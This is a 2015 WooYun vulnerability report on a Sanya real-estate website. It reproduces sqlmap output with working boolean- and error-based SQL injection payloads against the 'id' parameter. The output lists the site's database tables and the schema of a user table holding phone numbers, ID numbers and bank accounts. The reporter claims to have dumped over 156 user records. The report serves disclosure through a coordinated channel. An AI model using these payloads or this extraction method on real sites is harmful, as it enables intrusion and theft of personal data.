当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156896

漏洞标题:房三亚网sql注入(泄露手机号码姓名银行卡信息)

相关厂商:cncert国家互联网应急中心

漏洞作者: 小殊

提交时间:2015-12-01 01:50

修复时间:2016-01-18 13:00

公开时间:2016-01-18 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

做好安全

详细说明:

root@attack:~# sqlmap -u "http://**.**.**.**/newfangshou.php?id=44"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:03:08
[18:03:08] [INFO] resuming back-end DBMS 'mysql'
[18:03:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=44 AND 5629=5629
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=44 AND (SELECT 4933 FROM(SELECT COUNT(*),CONCAT(0x7162706b71,(SELECT (ELT(4933=4933,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[18:03:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.2.17
back-end DBMS: MySQL 5.0
[18:03:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
----------------------------------------------------------------
current database: 'homesydb'
-----------------------------------------
Database: homesydb
[77 tables]
+-----------------+
| edi_love |
| fx_admin |
| fx_adminlog |
| fx_gg |
| fx_hdgg |
| fx_hzhb |
| fx_khgj |
| fx_khgjaddlog |
| fx_khgjrecyle |
| fx_lp |
| fx_mkqx |
| fx_temp |
| fx_temp2 |
| fx_user |
| fx_usereditlog |
| fx_userrecyle |
| fx_yjjs |
| fx_yjjsaddlog |
| fx_yjjseditlog |
| fx_yjjsrecyle |
| fx_yykh |
| fx_yykheditlog |
| fx_yykhrecyle |
| fx_zc |
| home_admin |
| home_cjxm |
| home_esf |
| home_esfpic |
| home_gfzn |
| home_ggset |
| home_ggw |
| home_gjcset |
| home_gsgl |
| home_gssj |
| home_headgg |
| home_hfgg |
| home_jjrphoto |
| home_kftbm |
| home_kftfocus |
| home_kftlp |
| home_kftnews |
| home_kftuser |
| home_laws |
| home_lsfx |
| home_newf |
| home_newfdt |
| home_newfdytj |
| home_newfphoto |
| home_newftgbm |
| home_news |
| home_sykhjy |
| home_symember |
| home_tdjl |
| home_temp |
| home_tuangou |
| home_userqx |
| home_weito |
| home_wenzigg |
| home_xinfang |
| home_xinfangpic |
| home_xqgl |
| home_yggl |
| home_yqlj |
| home_zf |
| home_zfpic |
| home_zjdp |
| home_zpzw |
| wzs_fhzc |
| wzs_khxx |
| wzs_kyxx |
| wzs_lsb |
| wzs_lsfh |
| wzs_lsfh1 |
| wzs_lsfh2 |
| wzs_member |
| wzs_user |
| wzs_wyxq |
+-----------------+
77个表
------------------------------------------------------
Database: homesydb
Table: fx_user
[15 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| dlcs | int(11) |
| dltime | datetime |
| gly | varchar(30) |
| glyid | int(11) |
| hyemail | varchar(30) |
| hyname | varchar(30) |
| hypassword | varchar(100) |
| hysfz | varchar(30) |
| hytel | varchar(30) |
| hyzsname | varchar(50) |
| id | int(11) |
| posttime | datetime |
| shzt | int(2) |
| yhlx | varchar(30) |
| yhzh | varchar(30) |
+------------+--------------+
-----------------------------------------------------

{4[RCUQSQD4_OT9PY%7A%MY.png


156条

XYESPV`WTO{57QGFGF9VJHN.png


敏感信息打马赛克了
-------------------------------------------------------------
数据不止156条 ,你们应该知道
我才跑一个表而已

漏洞证明:

root@attack:~# sqlmap -u "http://**.**.**.**/newfangshou.php?id=44"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:03:08
[18:03:08] [INFO] resuming back-end DBMS 'mysql'
[18:03:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=44 AND 5629=5629
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=44 AND (SELECT 4933 FROM(SELECT COUNT(*),CONCAT(0x7162706b71,(SELECT (ELT(4933=4933,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

修复方案:

你们更专业

版权声明:转载请注明来源 小殊@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-04 12:58

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给海南分中心,由海南分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价